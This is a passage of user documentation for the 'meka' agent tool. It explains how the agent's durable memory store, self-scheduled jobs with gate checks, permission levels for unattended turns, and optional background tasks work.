  • Every write door applies the same rules. meka skill add, skill_write and PUT /v1/skills/{name} all refuse a name or a description the spec rejects, and refuse a skill whose name is missing or disagrees with its directory, so a skill meka authors passes skills-ref validate. --from-file copies your bytes verbatim, so it can still carry a key the spec does not define – that is how an imported skill keeps its when_to_use – but it must still declare the required name. Run uvx skills-ref validate <dir> when you want the reference’s own verdict on a file.
  • Write description concisely, and fold the “use when…” trigger into it. It is sent to the model and consumes tokens.
  • Keep each skill focused on a single topic or procedure. Spawn multiple skills rather than one giant one.
  • Bundle supporting files in the skill directory and reference them by relative path (scripts/file.ext).
  • Skills are re-discovered on every prompt, so you can add, edit, or remove skills mid-session without restarting meka.

Memory

Memory is the agent’s own set of durable notes. It writes them itself, they survive compaction, and they outlive any single session.

Without it, an agent’s only state is its context window. When a long session compacts, detail is summarised away; conversation_search can still search the message log, but only for something you remember to look for. Memory is the deliberate half: a fact the agent decided was worth keeping, in a place it will always see.

How memory works

  • Memories are rows in the memories table of meka’s database (~/.local/share/meka/meka.db, or MEKA_DATA_DIR), one row per memory.
  • The store is scoped to the meka instance, not to a session or a directory. Everything sharing a MEKA_DATA_DIR shares one memory; pointing a deployment at its own data dir gives it its own.
  • On every prompt, meka lists each memory’s description in the per-turn context. Bodies are not loaded automatically; the agent calls memory_read when a description suggests it needs the detail.
  • The index is re-stated in full at the start of a session, after every compaction, and whenever it scrolls out of the context window. This is what makes memory survive compaction.
  • Memories are available in every permission mode except none; all four memory tools ask only for read. Writing a memory therefore needs no write authority over your files, and workspace’s boundary does not apply to it: the store belongs to meka, not to your working tree.

Memories live in MEKA_DATA_DIR, alongside sessions, rather than in the config directory. A backup of your config directory does not capture them; meka memory export is what does.

Fields

FieldMeaning
nameUnique identifier, [A-Za-z0-9_-]. Case-insensitive: NOTE and note are one memory.
descriptionOne line, shown in every session’s index. Make it stand on its own.
priority09, default 5. See Priority.
tagsLowercase labels ([a-z0-9-], at most 10) for grouping and filtering.
bodyDetail, loaded on demand by memory_read.
recordedWhen the memory was made. Stamped once, at creation.
updatedWhen the row last changed.
read countHow many times memory_read has opened it. Feeds search ranking. Only memory_read increments it: a search hit is weaker evidence, and reading through the CLI or the HTTP API is the operator rather than the agent.

recorded versus updated

These answer different questions, and conflating them was a bug. A memory_write that changes only a description or a priority moves updated, and reading that as the observation date made a years-old note render as “today”, sort to the top of its priority band, and arrive through memory_read captioned “Saved today. This is what you recorded then”.

recorded is stamped once, when the memory is created, and carried forward untouched by every later write. It is what the index renders as an age, what ties are broken by, and what freshness weighting reads. updated is reported by meka memory get and the HTTP API and takes no part in ordering or ranking.

The rule is enforced by the INSERT ... ON CONFLICT DO UPDATE statement itself, which never assigns recorded_at on the update path, rather than by each write door remembering to preserve it.

Omitting a field keeps what is there

memory_write’s body, tags and priority are all optional, and omitting any of them keeps whatever the memory already had. That makes a metadata-only update – a reworded description, say – a single call that cannot cost the note its contents, its labels or its rank. To clear the first two, pass "" and [] explicitly.

PUT /v1/memory/{name} and meka memory add <name> --force follow the same rule.

Priority

Lower means more important (the same direction as nice, the opposite of CSS z-index). Priority decides two things: where a memory sits in the index, and which memories survive when the index hits its size budget.

RangeUse for
0–1Standing directives that always apply
2–4Durable facts
5Default
6–9Situational or short-lived notes

Within one priority band, the most recently recorded memory sorts first – so a fresh note never displaces a standing rule just for being new.

Because the agent picks a priority at write time and everything feels important then, priorities tend to drift downward over a long-lived instance. meka memory list prints the distribution so you can see that happening and rebalance. Search ranking compensates for the same drift from the other side: see Search.

Priority 0 is the always-in-context tier. A priority-0 memory has its body rendered into the per-turn context in full, not just its description, because for a standing directive the body is the directive and leaving it behind a tool call means the agent has to look the rule up before it can follow it. The band is budgeted separately from the index (4 KiB in total, 1,024 characters per memory) so a long directive cannot crowd out the index and the index cannot crowd out the directives. Priority 1 is still “standing” for ranking purposes, but is listed by description like everything else.

Priority 0 is not a promise of unlimited space. A memory the 4 KiB band cannot fit falls through to the index below, and on a large store the index has its own ceiling to ration, so past a few dozen standing memories some of them fit nowhere. The section says so explicitly when it happens, naming how many are listed by description and how many were left out entirely, because a standing rule the agent never sees is one it is being held to and cannot read. If you see that line, either raise those notes’ importance relative to the rest of the store or trim the tier: a hundred always-apply rules is not an always-apply tier.

The index budget

The index is capped at 8 KiB and 200 entries. When more memories exist than fit, the section ends with a line stating how many were left out, and, when they carry tags, what they are about:

4910 more memories not shown here, most common tags infra (820), people (611),
decisions (405) — use `memory_search` to find them.

A bare count is not a usable signal once it runs to thousands: it says something is missing without saying what. The tag distribution is something the agent can turn into a query, which is most of what tags are for.

Nothing is lost. memory_search covers the whole store, including the entries the index omitted.

memory_search is the primary way to reach a store larger than the index can show. It is backed by a SQLite FTS5 index over the same table.

Ranking combines three things, so the result is what you probably meant rather than merely what matched:

  • relevance – BM25, weighting a hit on the name above the description, and the description above the body.
  • importance – the declared priority, blended with how often you have actually read the memory. A memory opened forty times is important whatever it was labelled two years ago, which is the counterweight to priority drift.
  • freshness – a gentle decay on recorded, disabled entirely for priority 0–1. A two-year-old standing rule is exactly as binding as a new one; a two-year-old situational note probably is not.

Fuzzy matching works in four senses, and the result says which one answered so a guess is not mistaken for a recalled fact:

KindExampleHow
Word endingspreference finds prefersPorter stemmer, always on
Typos and truncationTokoy, TokRetried as a prefix match, then by spelling distance
Word beginningsdeployment finds deployThe prefix retry also works the other way
Unsegmented text深圳 inside 办公室在深圳南山区Retried as a literal substring
Different wordingverbosity for tersePass several phrasings in queries

The second and third rows are the two the stemmer alone does not cover. SQLite’s Porter strips inflections (deploys, shipping, running) but not every derivation: deployment does not stem to deploy, so a search for it used to miss a memory whose body says Deploys. The prefix retry therefore runs in both directions – shortening the query as well as matching the start of the stored word – and says it was a prefix match either way.

The fourth row is why word-splitting is not the whole story. The tokenizer divides on non-alphanumerics, so Chinese, Japanese and Thai prose – and a long identifier, path or URL – arrive as a single token that only matches in full. When nothing else answers, meka scans for the query as plain text instead, and says that is what it did.

The last row is the important one: queries is a list, and supplying synonyms costs nothing. ["terse", "brevity", "verbosity"] in one call finds a memory that used any of them, which is the answer to “the agent has to guess the words it used months ago” – it does not have to guess right, only to guess several times.

Results carry enough to act on without a follow-up read: name, priority, age, read count, description, and the body itself when it is short.

The search index

The FTS index is an external-content table over memories, kept in step by three triggers. It is derived and disposable even though the memories themselves are not:

meka memory verify              # check the index
meka memory verify --rebuild    # regenerate it from the table

verify checks two things: that the index is structurally sound, and that it holds exactly as many documents as the store does. It deliberately does not claim more. FTS5’s own integrity-check does not compare an external-content index against its content table, so a memory whose text changed while a trigger was not firing leaves both checks happy – only searching for the new wording reveals it. If search is missing something you know is there, rebuild; it is one pass over the table and cannot lose a memory, because the index is derived.

Agent tools

ToolPurpose
memory_writeSave a memory, or update one by writing to the same name
memory_readLoad one memory’s body in full
memory_searchRanked full-text search over every memory
memory_deleteRemove a memory permanently

memory_read states how old the memory is and notes that it is a point-in-time observation. A memory recorded months ago is not live state, and an old note asserted as current fact is the failure this guards against. It is also the only thing that increments the read count: a search hit is weaker evidence, and an operator reading through the HTTP API is not the agent recalling anything.

memory_write also names an existing memory whose description says close to the same thing, when there is one:

Saved memory 'alice-tz' (priority 5). It is in your memory store from the next
turn on, and memory_search will find it whatever the index has room to list.

Note: 'alice-timezone' already says something very similar. If this is the same
fact, call memory_write on 'alice-timezone' instead and delete 'alice-tz' -- two
near-copies both stay in the index for ever and neither supersedes the other.

This never blocks the write. The failure worth preventing is the silent one, where a store grows a hundred near-copies because nothing ever mentioned the ninety-nine.

What not to save

Memory is for what is not derivable from the material at hand. Code structure, git history, and file contents are all reachable with search_contents, read_file, and execute_command, so recording them produces stale duplicates of things the agent could just look up.

What belongs in memory: who someone is and how they prefer to work, guidance you have given that should not need repeating, decisions and their reasons, and pointers to where information lives in external systems.

CLI

meka memory list                                    # index order, plus the priority distribution
meka memory get k4yt3x-prefers-terse-replies        # every stored field
meka memory show k4yt3x-prefers-terse-replies       # the body
meka memory add tz --description "K4YT3X is in UTC+8" --priority 2 --tag people
meka memory add tz --force --description "K4YT3X is in UTC+9"   # keeps body, tags, priority
meka memory edit stale-note                         # $EDITOR on the body
meka memory remove stale-note
meka memory export --dir ~/backup/memory            # one Markdown file per memory

In the REPL, /memory lists what is saved and /memory <name> prints one memory’s body. The listing is the table alone; the priority distribution is reserved for meka memory list, where you have gone looking for it.

meka memory edit opens the body only. Metadata goes through meka memory add <name> --force --description ..., which keeps whatever it does not mention.

Export, backup, and git

meka memory export writes one <name>.md per memory: YAML frontmatter carrying description, priority, recorded, tags and read_count, followed by the body. That is the grep, git and backup answer now that the store is a database.

read_count is there because it is the one value a file cannot otherwise reconstruct. Descriptions, bodies and dates are all in the note; how often the agent has actually opened it is not, and a restored backup with every counter at zero would silently lose each memory’s accumulated ranking weight.

meka memory export --dir ~/notes/memory        # must be new or empty

The directory must be new or empty. An export is a snapshot, and merging into an existing one would leave a stale file behind for every memory deleted since, so it would never quite match the store. An export that fails partway removes what it had written rather than leaving a truncated snapshot, which would otherwise restore as a plausible fraction of your store.

The export directory is created at mode 0700 and each file at 0600, and an existing empty directory is tightened to 0700. A memory body is a private note and the database it came from is 0600; publishing the same text world-readable because that is what the umask said would be a strange way to take a backup.

What lands on disk is byte-exact: bodies, tags, priorities and recorded dates are written exactly as stored, including zero-width joiners, CRLF line endings and leading or trailing blank lines. read_count rides along too, because it is the one value the rest of the file cannot reconstruct.

Descriptions are the one field normalised rather than preserved: every write door collapses a description to a single line before storing it, so what comes back is what was stored. A description made only of characters YAML cannot carry has no such form, and meka memory export refuses the whole run and names it rather than writing a file whose frontmatter would not parse.

An export reads back with any tool that understands YAML frontmatter; meka itself has no import command, because a store you can rebuild from a directory is a second source of truth and this subsystem deliberately has one.

Coming from a file-backed store

Memories used to be Markdown files in <config>/memory/. If you are upgrading from 0.41, the one-shot migration script attached to the 0.42 release imports them into the database; run it once, check meka memory list, then remove the directory yourself. meka never reads those files again. What it brings forward on its own is the database; a directory of files you still have is yours to import when you get to it, and importing it twice is not something a startup pass could ask you about.

Configuration

Memory is on by default. To turn it off:

[memory]
enabled = false

Disabling it keeps the four memory_* tool schemas out of every request and renders no memory section, which is worth doing if you run lean sessions that will never use it. Memories already stored are left alone, and both the meka memory subcommands and the /v1/memory endpoints still reach them: whether an agent keeps memories is a different question from whether you can inspect or back up what is already there.

There is deliberately no environment variable and no CLI flag: whether an agent keeps memories is a property of the installation, not something to vary per run.

Scheduling

Scheduling lets the agent arrange its own future turns. Without it, meka only ever acts when something outside it asks: a human typing, an editor sending a prompt, a client calling the HTTP API. A scheduled job is the one trigger nothing else supplies, which is what makes meka usable as a daemon or a standing assistant rather than a tool you drive.

The agent creates jobs itself through the schedule_create tool, so scheduling is usually a conversation:

You: remind me in 20 minutes to check the deploy

meka: Created job 7f3a1b2c (once at 2026-08-11 15:22 CEST). I’ll remind you then.

What a job is

A job pairs a schedule with a prompt. When it fires, the prompt is delivered as a turn.

ScheduleMeaningExample
atFire once, then delete itself20m, 2h, 2026-08-12T09:00:00Z
everyFire on a fixed interval30m, 1h, 1d
cronFire on a 5-field cron expression, in local time0 9 * * 1-5

Durations use the same syntax as config.toml, so every = "30m" means what [serve] idle_timeout = "30m" means. Two things to know about it: m is minutes and M is months, and decimals work (1.5h and 1h 30m are the same duration).

Cron expressions have no seconds field, and follow standard Vixie semantics: when both day-of-month and day-of-week are set, the job fires when either matches, not both. A six-field expression is rejected rather than read as Quartz, where */10 * * * * * would mean every ten seconds instead of the every-ten-minutes it looks like.

A pattern that matches no calendar date (0 0 30 2 *) is rejected when the job is created. One whose next occurrence is far off is not: 0 0 29 2 * waits up to four years for the next February 29th and stays on the books until then.

Gates: watching something without burning tokens

A plain recurring job spends a full model turn on every fire, whether or not anything happened. Checking something every 15 minutes is roughly a hundred turns a day to say “nothing new” ninety-odd times.

A gate is a cheap check run before the turn. Only if it says something happened does the turn occur. The interval then costs a tool call or a process spawn instead of a model call, which is what makes a short cadence reasonable.

A gate has two halves. check is what to run, and when is what counts as “something happened”:

schedule_create(
  every: "30s",
  gate: {
    check: { command: "gh pr checks 123 --json state -q '.[].state' | sort -u" },
    when: "changed"
  },
  prompt: "CI state for PR 123 changed. Investigate and report."
)

What a gate can check

checkRunsNeeds
{ command: "..." }a shell command, unsandboxedunrestricted
{ tool: "name", arguments: {...} }a tool call, by the name the model usesread, and the tool must resolve to read

A tool gate is the one to reach for when a tool exists for the job. It is available at a far lower permission, because a structured call to a server you configured is not a shell, and it returns structured data that when.at can point into:

schedule_create(
  every: "1m",
  gate: {
    check: { tool: "mcp__mekabridge__unseen", arguments: {} },
    when: { at: "/chats", is: "not-empty" }
  },
  prompt: "There are unseen chats. Read them and reply if anything needs an answer."
)

A gate may only call a tool that resolves to read. A gate asks a question; a tool that can act is not one. This is checked when the job is created and again every time it fires, so a tool that resolves higher after an operator retunes it stops being a gate rather than carrying on with authority nobody granted it.

When a gate fires

whenFires when
"changed" (default)the whole result differs from the previous evaluation
"succeeded"the command exits 0, or the tool call did not return an error
{ matches: "<regex>" }the result matches the pattern
{ at: "<json pointer>", is: "not-empty" | "empty" | "changed" }the pointed-at value satisfies the test

One trap in the "succeeded" row: most MCP tools never set an error, so it is true on every evaluation and the job fires every interval. It earns its place on a shell gate, where the exit code is a real signal. For a tool, reach for at instead.

The gate’s output is passed into the turn it triggers, so the model does not re-run the check the gate just ran. A pointer narrows what is judged, not what the model is told: the turn still sees the whole result, because the surrounding fields are usually what makes the fire worth reading. The turn sees at most 8 KiB of it, and at will read a document up to a megabyte; past that there is nothing for a pointer to point into and the gate reports that the probe did not return JSON. A gate should be reading a status, not a payload.

The two shapes that compare against the previous evaluation – "changed", and at with is: "changed" – always fire the first time: with nothing to compare against, “changed” is the honest answer, and it means a typo surfaces immediately instead of lying quiet. The others judge the result on its own, so a first evaluation is no different from any other: "succeeded" on a command that exits non-zero does not fire, and neither does a matches whose pattern is absent.

changed is only as good as the stability of the result. The check should produce something that changes when, and only when, the watched thing does, which is a stronger requirement than “read-only” and is where most gates go wrong. It fails in both directions. A result carrying something that moves on its own (a timestamp, an elapsed time, a request id, an unsorted list whose order varies) differs on every evaluation, so the gate fires every tick and costs more than the ungated job it replaced. A result that can return to an earlier value between polls (a bare count, where two events arrive and one is consumed) reads as unchanged, and the gate silently misses what happened in between.

This is the reason at exists. Almost any JSON result carries a field that moves on its own, so "changed" over the whole of it is usually wrong; { at: "/chats", is: "changed" } watches the one field you mean and ignores the checked_at beside it. For a shell gate, pairing a count with a monotonic marker (git rev-list --count HEAD alongside the commit sha) does the same job.

A shell gate needs unrestricted permission. It runs unattended, on a timer, until someone cancels it: a longer-lived grant than execute_command, which at least ends with the turn that called it. It also runs with no sandbox, so workspace cannot authorise one – a level whose whole meaning is a write boundary must not hand out a command that has none. A tool gate is not held to this: read carries it, provided the tool resolves to read as well. Ungated reminders work at read.

execute_command is a tool, and that is a door. Where a sandbox backend is usable it resolves to read, so check: { tool: "execute_command", arguments: { command: "..." } } is a legitimate tool gate at read – an arbitrary command, on a timer, from a session that could not have authorised the shell form. What makes that acceptable is that the two are not the same thing: a gate dispatches at read, which is the level Confinement::resolve sandboxes, so the command runs read-only-confined rather than as the bare sh -c a command gate would be. Where no sandbox is available the same tool resolves above read and the gate is refused instead, so “admitted” and “confined” cannot come apart. The confinement blocks writes, not the network: treat such a gate as something that can read this machine and talk to the internet, unattended, for as long as the job exists.

A gate that cannot run at all – it times out, the shell fails to start it, or its MCP server is not connected – is not treated as “nothing happened”. It is logged as a warning and the occurrence is declined, because a watcher whose check broke otherwise looks exactly like a healthy watcher with nothing to report. The marker that tells the agent about it needs two consecutive failures, and those are now an occurrence or a lease apart rather than a poll interval, so a standing breakage takes two periods to be reported rather than twenty seconds. That is the price of not re-running a broken check at tick cadence.

Declined means spent, exactly as it does for a gate that ran and said no. A recurring job moves to its next occurrence, so a six-hour job whose server is down is probed once every six hours rather than on every poll tick. A one-shot has no next occurrence to move to, so it keeps its claim instead and the retry waits out [schedule] claim_lease (an hour by default) – long enough that a server restarting near the job’s due time does not cost the reminder, and bounded, because each of those retries counts against the ceiling below. Either way the gate’s stored baseline is left alone, so when the check starts working again it compares against the last value actually observed and reports the change that happened while it was broken.

A non-zero exit code is different, and only succeeded reads it as failure: for a large class of good gates it is the signal. diff -q a b and git diff --exit-code exit 1 exactly when there is a difference; grep ERROR log exits 1 through the entire quiet period it is watching; curl -f exits non-zero until the endpoint returns. Every other predicate judges the output and logs the exit code at debug level, so -vv will show you a command that is failing when you suspect one, without a warning on every tick of the many gates for which a non-zero exit is the normal state.

Where jobs run

Jobs belong to the session that created them, and only fire while that session is live in some meka process. That makes the two hosts behave differently, and the difference is worth knowing before you rely on one:

HostFiresNotes
meka serveEvery job, except on a session another process has lockedRevives evicted sessions on demand. The durable path.
REPLOnly jobs for the session it has openBest-effort; a job goes dormant if you next start a different session
ACPOnly jobs for sessions the editor has openThe prompt appears in the transcript as the turn that triggered the reply
--oneshotNeverThe process exits; jobs stay on disk for a later run

If you want a job to fire reliably whether or not you are sitting at a terminal, run meka serve. In the REPL, a job created in one session resumes only when that session does; meka --continue picks up where you left off.

Jobs all live in the same database, so a host that does not fire a job has not lost it. A job whose session nobody has open simply waits, and fires as soon as something that can run it picks it up: another host, or a meka serve daemon pointed at the same data directory.

A job’s turn always joins the session that owns it, on every host. If what you want instead is a recurring turn that carries no conversation at all, that is an external timer’s job rather than a scheduled one: systemd, cron or Task Scheduler invoking meka --oneshot, with the level and the profile stated outright rather than inherited from a session.

meka --oneshot --permission read --provider work "summarise today's alerts"

Claiming an occurrence

A due job is leased before it runs: the host records itself and an expiry on the row, delivers the turn, and then advances the schedule (or retires a one-shot). Three consequences worth knowing:

  • A crash costs a retry, not the job. The row is untouched until the turn is delivered, so a host that dies mid-delivery leaves a lease that expires and the next host takes the occurrence. Before this a claim consumed the row, and a crash lost the occurrence outright – for a one-shot, the whole reminder, with nothing anywhere to recover it from.
  • A cancellation always wins. Cancelling deletes the row unconditionally; a host handing an occurrence back only releases its own lease, so a cancel issued while a gate is running cannot be undone by the handback.
  • A job that keeps failing to be delivered is parked. Claims that end in neither a delivery nor a handback are counted, and after three the job stops being retried. Two things reach that count: a host that dies or panics mid-delivery, and a one-shot whose gate probe cannot be evaluated. Both leave their claim to expire rather than giving it back, so those three attempts are a lease apart rather than a tick apart: three panics in half a minute would otherwise park a job whose only problem was a blip, and nothing retires a parked recurring job afterwards. The job is not deleted: it stays listed, cancellable, and marked as held with the reason, because a prompt that crashes meka is something to look at rather than something to throw away. Recreate it, or cancel it. A host that simply declines a job it cannot take – meka serve finding the session locked by a REPL – does not count, since that says nothing about the job.

[schedule] claim_lease (default "1h") is how long a lease is good for, and therefore how long a crashed host’s occurrence waits before another host takes it. It should exceed a gate probe plus a turn: a lease that expires under a host still working lets a second host take the same occurrence, and although the session lock stops that becoming a second turn, the occurrence still makes a round trip and the gate probe runs again. A host refuses to start on a claim_lease at or under gate_timeout, since that half is checkable; the turn after the probe is unbounded, so leave real headroom on top rather than treating that check as the whole answer.

Two hosts sharing a session do not fight over its jobs. A session is held by one process at a time, and meka serve leaves that session’s jobs to whoever holds it rather than reaching for them and handing the occurrence back afterwards – which matters most for a gated job, since deciding late would mean running its probe on every tick.

More than one host on the same database

Several meka processes pointed at one data directory – two meka serve instances, or a daemon and a terminal – all poll the same table, so the same occurrence appears in several due lists at once. Each occurrence is nevertheless run once. A host takes it by leasing it in a single conditional write – recording itself and an expiry on a row that no other host currently holds – and the hosts that lose that write stop before evaluating the gate: no duplicate probe and no duplicate turn. Which host wins is a race between their tickers and is not something you can pin down; that only one wins is.

Under ACP the editor is a live client, which changes one thing: ask-mode approvals genuinely round-trip, so a scheduled job can prompt you in the editor rather than being denied for want of anybody to ask. Stopping a scheduled turn works the same as stopping any other.

When a job fires at an idle REPL prompt, the turn interrupts the prompt and runs exactly like one you typed: output streams, Ctrl+C interrupts it, and anything you had half-typed is handed back afterwards.

Restarts and missed jobs

Jobs live in meka’s database, so restarting the process (or the meka serve systemd unit) does not lose them. What happens to jobs whose time passed while meka was down depends on the kind:

  • Recurring jobs fire once and resume. A 30-second job that was down for six hours has 720 missed occurrences; it produces exactly one turn, which is told how many it stands in for. It is then rescheduled from now, so an outage never turns into a burst.
  • One-shot jobs fire if they are still relevant. Past [schedule] missed_grace (24 hours by default) they are dropped instead. A reminder to join a standup, delivered five days late, is noise. One that does fire is told how late it is, so the agent can judge whether it still matters.

That collapsing is per job. A session with several jobs all due at once still wakes to a turn each, and a sweep runs at most [schedule] max_consecutive_fires (5 by default) of any one session’s jobs before moving on. The rest keep their occurrence and their gate baseline and are taken by the next sweep, most-overdue first, so nothing is lost and nothing starves. A job held over runs no gate, so holding one over is nearly free – the sweep still evaluates whether the job is one it can run.

What this does and does not do. It bounds a batch, not a total: forty due jobs still produce forty turns, and they are not spaced out – a sweep that ran long leaves the next one already due. What changes is that they arrive in groups of five, so under meka serve another session’s single due job is reached after five of the first session’s rather than after all forty.

If you want a large backlog not to land at all, that is not what this setting is for. Cancel the jobs (meka schedule list, then meka schedule cancel <id>) before starting a host that will fire them, or leave [schedule] enabled = false while you clear it.

A recurring job that fires and then fails – most often because the provider is unreachable – leaves nothing behind in the conversation: its prompt is withdrawn, because the job produces it again on the next occurrence. Without that, an outage would deposit one unanswered message per fire for as long as it lasted. A one-shot keeps its prompt, because nothing will produce it again: its row is retired as soon as the turn is delivered, so that message is the last trace the reminder ever fired. A turn that got as far as running a tool keeps everything either way, since there is real work behind it. Failures are recorded regardless: meka serve logs them and sends a schedule.fired webhook with status: "failed".

Unattended turns and permissions

Under meka serve a scheduled turn has no human on the other end, so in ask permission mode every approval resolves to deny and the job fails to do whatever needed approval. The denial appears in the session transcript rather than anywhere louder, so a job in ask mode that seems to do nothing is worth checking there first.

The REPL and ACP both have someone attached, so approvals reach them normally.

A job’s turn runs at whatever permission the session holds when it fires, not at the level the job was created with: the level lives on the session and the session is mutable, through Shift+Tab in the REPL or PATCH /v1/sessions/{id} under serve.

With one floor: a session at none fires nothing, gated or not. Nothing is executable there, so the turn would read nothing, change nothing, and could not even reach schedule_cancel to stop itself being woken again. The agent can see the job – a tool’s registration does not depend on the permission level, so [Scheduled] still lists it and schedule_cancel is still offered – but every call is refused at dispatch, which leaves it able to describe the problem and unable to fix it. An every = "5s" reminder on such a session was a turn’s worth of tokens every five seconds with no in-session way to stop it. Raise the session to restore the job; it is declined, not cancelled, and a one-shot that came due while the session was down there is kept rather than spent.

A job’s gate is the exception, because it runs unattended. Its bar is re-checked from two places every time the job comes due: the level recorded on the job when it was authored, and the level the session holds now. What that bar is depends on what the gate runs – unrestricted for a shell command, read for a tool call – and for a tool gate the tool’s own resolved level is looked up again too, so retuning a tool’s level takes effect on the next fire rather than whenever the job is next rewritten. That level comes from [tools.tool_permissions] for a built-in, and for an MCP tool from the five-step chain in Permission resolution: the server’s tool_permissions, its permission, the tool’s readOnlyHint, [mcp] default_permission, then unrestricted. Step four is worth knowing about here: one global line turns every unannotated tool on every server into a read probe a gate may call. And readOnlyHint is asserted by the server and not verified by meka, which is a weaker footing under a gate than under a call in conversation, because nobody reads the result of a gate.

That second level is the session’s own, recorded on its row and kept current by whichever surface owns it – Shift+Tab and /permission in the REPL, session/set_mode under ACP, PATCH /v1/sessions/{id} under serve. Every process that polls the schedule reads the same row, so withdrawing the level works across processes: a meka serve daemon sharing the data directory will refuse a gate you just dropped in a REPL. A session whose row carries no level at all falls back to the polling process’s own --permission. That is an ACP session that has never had session/set_mode called on it, since session/new records no level; every other surface records one when the session is created.

Drop the session below what the gate needs and the gate stops running – and with it the job, because a gate is the condition on the job and an unevaluated condition has not been met. The occurrence is declined, and a warning is logged naming the job. Raise the session back to restore it. Unlike a gate that ran and said “nothing happened”, a held gate was never evaluated at all, so a one-shot that came due while it was held is kept rather than spent.

The agent is told too, not just the log. A job that cannot currently fire is marked in the [Scheduled] block it sees every turn and in schedule_list, as NOT FIRING: <reason>, with the same sentence the warning carries; the moment a gate is withdrawn or restored is announced as a world change. This matters because the two states are otherwise identical from the agent’s side: a held job and a healthy watcher with nothing to report both simply never fire. It can act on the difference, since schedule_cancel needs only read.

A gate whose probe keeps breaking is marked the same way, after two consecutive failures. A server that changed its schema, a command that was uninstalled, a pointer into a result that stopped being JSON: each errors on every evaluation, and each is a dead watcher that looks exactly like a quiet one. The first failure is deliberately not reported, because one failure is as often a blip as a break. This one is tracked in memory rather than on the row, so it is known to the process running the job: a restart re-establishes it within two poll intervals, and meka schedule list, which is a separate process, does not see it.

Four surfaces report it, and each says only what it can establish:

  • [Scheduled] and schedule_list carry the full sentence, since the agent is the one that can recreate or cancel the job.

  • /schedule has a Held column: yes when the job cannot fire, blank when it can, and ? when this process cannot establish the answer. Blank means “it will fire”, not “I did not check”. It runs inside a host and uses its MCP manager, so it resolves tool gates; it shows ? for a job whose session level it could not read, since that is unestablished rather than fine.

  • meka schedule show spells the same verdict out on a withheld: line. It is a separate process from any host and so cannot resolve a tool gate, reporting that as unknown rather than as fine. meka schedule list does not carry it at all: a column that is blank on almost every row is a poor use of a table this wide.

    Both apply [permissions].enabled when reading a session’s recorded level, so neither can report a job as able to fire that the host refuses.

  • GET /v1/schedule and GET /v1/sessions/{id}/schedule carry a withheld field with the same sentence, absent when the job can fire.

Firing the reminder ungated instead would be the more forgiving-looking choice and the wrong one: it turns a conditional job into an unconditional one, so an every = "1m" watcher that normally speaks once a week would deliver a turn a minute for as long as the session stayed below that bar. An ungated job is unaffected by a gate’s authority, and keeps firing at any level above none.

At none nothing fires at all, gated or not. Every tool is refused at dispatch there, so the turn would read nothing, change nothing, and be unable to reach schedule_cancel to stop itself being woken again – tokens spent to produce an agent that can describe its predicament and do nothing about it. POST /v1/sessions/{id}/schedule refuses to create a job on such a session for the same reason; schedule_create needs read to dispatch at all, so the agent cannot reach it.

Both halves are load-bearing. The recorded level rarely refuses on its own, since a creation door already demanded it; the live level is what makes a withdrawal real. The recorded level still matters for a job created before it was stored, which reads as “no authority” and stays refused.

Inspecting jobs

The agent sees a short index of the current session’s jobs in its per-turn context, so it can avoid scheduling a duplicate. For details it calls schedule_list.

From your side:

meka schedule list                  # every session's jobs
meka schedule list --session 0b5c   # one session, by id or unique prefix
meka schedule show 7f3a1b2c         # one job in full, by id or unique prefix
meka schedule cancel 7f3a1b2c       # by id, or any unique prefix

list is a table to scan: job id, the session it wakes, its schedule, how long until it next fires, whether it is gated (shell, tool, or -), and the beginning of its prompt. Every cell is bounded so the table stays legible.

Both ids print as a UUID’s first segment, and widen only if that would show two rows the same string, so what you see is normally enough to retype into show, cancel or --session, which take any unique prefix. show prints both in full.

Normally, because uniqueness is computed over the rows being printed while show and cancel scan every job there is. list --session <id> narrows the table, so it can print a prefix that another session’s job makes ambiguous. It fails closed – the command refuses and names the ids that collided – and an unfiltered meka schedule list always prints a prefix that resolves.

show is the one that answers what a job actually does: the whole prompt, the whole command or tool a gate runs, the session’s full id, when it last fired, and whether it is withheld. Nothing there is truncated, which is why it is a separate command rather than a wider table.

In the REPL, /schedule lists the current session’s jobs, /schedule show <id> prints one in full, and /schedule cancel <id> cancels one. All three answer inside the conversation you are in: a job belonging to another session is not found here, which is what makes the ids the listing prints the ids the other two take. The table drops the Session column, which would repeat one id down every row, and spends the width on Held instead.

Configuration

[schedule]
enabled = true          # default true; false hides the tools and stops the scheduler
poll_interval = "10s"   # how often due jobs are checked
missed_grace = "24h"    # how late a one-shot may be and still fire
gate_timeout = "30s"    # wall-clock budget for a gate probe
max_jobs = 50           # per-session ceiling, refused at schedule_create
max_consecutive_fires = 5 # per-session ceiling on turns spent in one sweep
claim_lease = "1h"      # how long a host's claim on an occurrence is good for

max_consecutive_fires bounds a batch, not a total. A sweep contains its turns, so lowering it does not stop a backlog landing, nor slow it down – it splits it into smaller groups with other sessions interleaved between them. Raising it above the number of jobs one session can have due at once has no effect at all.

With a long poll_interval and a small budget, a large backlog can take long enough to drain that a one-shot job ages past missed_grace and is dropped (with a warning) before its turn comes.

poll_interval is the real resolution floor: a job with a shorter interval fires once per tick, not once per interval.

Setting enabled = false keeps the three schedule_* tool schemas out of every request and leaves existing jobs on disk without firing. POST /v1/sessions/{id}/schedule refuses with a 422 rather than accepting a job that could never run; GET /v1/schedule and DELETE /v1/schedule/{job_id} keep working, so jobs left over from before the flag was flipped can still be listed and cleared.

Tips

  • Write the prompt for a reader who has no context. The conversation that created the job may be long over, and after a compaction the turn that created it may not have survived.
  • Reach for a gate whenever the answer is usually “nothing happened”.
  • Keep gate probes fast and read-only. They run on every tick, and a gate that changes something is a side effect on a timer.
  • Check what a gate’s probe returns across two runs where nothing happened. Identical output is the whole mechanism, and anything varying inside it turns the gate into a timer.
  • If a schedule matters, check what schedule_create reports back: it states the resolved next fire in absolute local time, which is how you catch a cron expression that parsed fine and means something other than you intended.

Background Tasks

An ordinary tool call holds the turn open until it returns. That is right for reading a file and wrong for a twenty-minute build: the agent cannot answer anything else while it waits, and the alternative it reaches for on its own, nohup … & plus polling, gets no notification when the work is done.

A background tool call returns immediately with a task id and delivers its result later, as its own turn.

Off by default. Turn it on with:

[background]
enabled = true
max_tasks = 10   # concurrent per session

When to enable it

This changes the contract of the primary interaction. Without it, you ask and the agent answers. With it, you ask, the agent answers, and something else may interrupt you several minutes later.

That is right for an assistant that runs unattended, keeps talking while work proceeds, and reports when it lands. It is usually wrong for the interactive case, someone at a terminal using the REPL like a command line, where blocking is what you want and asynchrony is a surprise.

Every other capability block ([schedule], [skills], [memory]) defaults on. This one does not, because those add capability without changing when a turn ends.

How the agent uses it

Once enabled, every tool gains an optional background parameter, including tools from MCP servers, since a slow MCP call is exactly the kind worth detaching:

